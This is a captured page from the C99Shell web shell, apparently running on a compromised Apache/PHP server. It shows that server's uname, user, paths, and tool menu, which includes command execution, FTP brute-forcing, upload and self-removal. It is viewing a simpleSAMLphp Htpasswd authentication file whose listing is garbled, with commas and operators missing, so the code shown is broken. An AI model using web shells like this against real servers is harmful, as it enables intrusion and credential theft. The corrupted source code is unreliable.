!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/modules/authcrypt/lib/Auth/Source/   drwxr-xr-x
Free 13.54 GB of 61.93 GB (21.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Htpasswd.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Authentication source for Apache 'htpasswd' files.
 *
 * @author Dyonisius (Dick) Visser, TERENA.
 * @package simpleSAMLphp
 * @version $Id$
 */
class sspmod_authcrypt_Auth_Source_Htpasswd extends sspmod_core_Auth_UserPassBase {


    
/**
     * Our users, stored in an array, where each value is "<username>:<passwordhash>".
     */
    
private $users;

    
/**
     * Constructor for this authentication source.
     *
     * @param array $info  Information about this authentication source.
     * @param array $config  Configuration.
     */
    
public function __construct($info$config) {
        
assert('is_array($info)');
        
assert('is_array($config)');

        
/* Call the parent constructor first, as required by the interface. */
        
parent::__construct($info$config);

        
$this->users = array();

        if(!
$htpasswd file_get_contents($config['htpasswd_file'])) {
            throw new 
Exception('Could not read ' $config['htpasswd_file']);
        }

        
$this->users explode("\n"trim($htpasswd));

        try {
            
$this->attributes SimpleSAML_Utilities::parseAttributes($config['static_attributes']);
        } catch(
Exception $e) {
            throw new 
Exception('Invalid static_attributes in authentication source ' .
                
$this->authId ': ' .    $e->getMessage());
        }
    }


    
/**
     * Attempt to log in using the given username and password.
     *
     * On a successful login, this function should return the username as 'uid' attribute,
     * and merged attributes from the configuration file.
     * On failure, it should throw an exception. A SimpleSAML_Error_Error('WRONGUSERPASS')
     * should be thrown in case of a wrong username OR a wrong password, to prevent the
     * enumeration of usernames.
     *
     * @param string $username  The username the user wrote.
     * @param string $password  The password the user wrote.
     * @return array  Associative array with the users attributes.
     */
    
protected function login($username$password) {
        
assert('is_string($username)');
        
assert('is_string($password)');

        foreach(
$this->users as $userpass) {
            
$matches explode(':'$userpass2);
            if(
$matches[0] == $username) {

                
$crypted $matches[1];

                
// This is about the only attribute we can add
                
$attributes array_merge(array('uid' => array($username)), $this->attributes);

                
// Traditional crypt(3)
                
if(crypt($password$crypted) == $crypted) {
                    
SimpleSAML_Logger::debug('User '$username ' authenticated successfully');
                    return 
$attributes;
                }

                
// Apache's custom MD5
                
if(SimpleSAML_Utils_Crypto::apr1Md5Valid($crypted$password)) {
                    
SimpleSAML_Logger::debug('User '$username ' authenticated successfully');
                    return 
$attributes;
                }

                
// SHA1 or plain-text
                
if(SimpleSAML_Utils_Crypto::pwValid($crypted$password)) {
                    
SimpleSAML_Logger::debug('User '$username ' authenticated successfully');
                    return 
$attributes;
                }
                throw new 
SimpleSAML_Error_Error('WRONGUSERPASS');
            }
        }
        throw new 
SimpleSAML_Error_Error('WRONGUSERPASS');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4747 ]--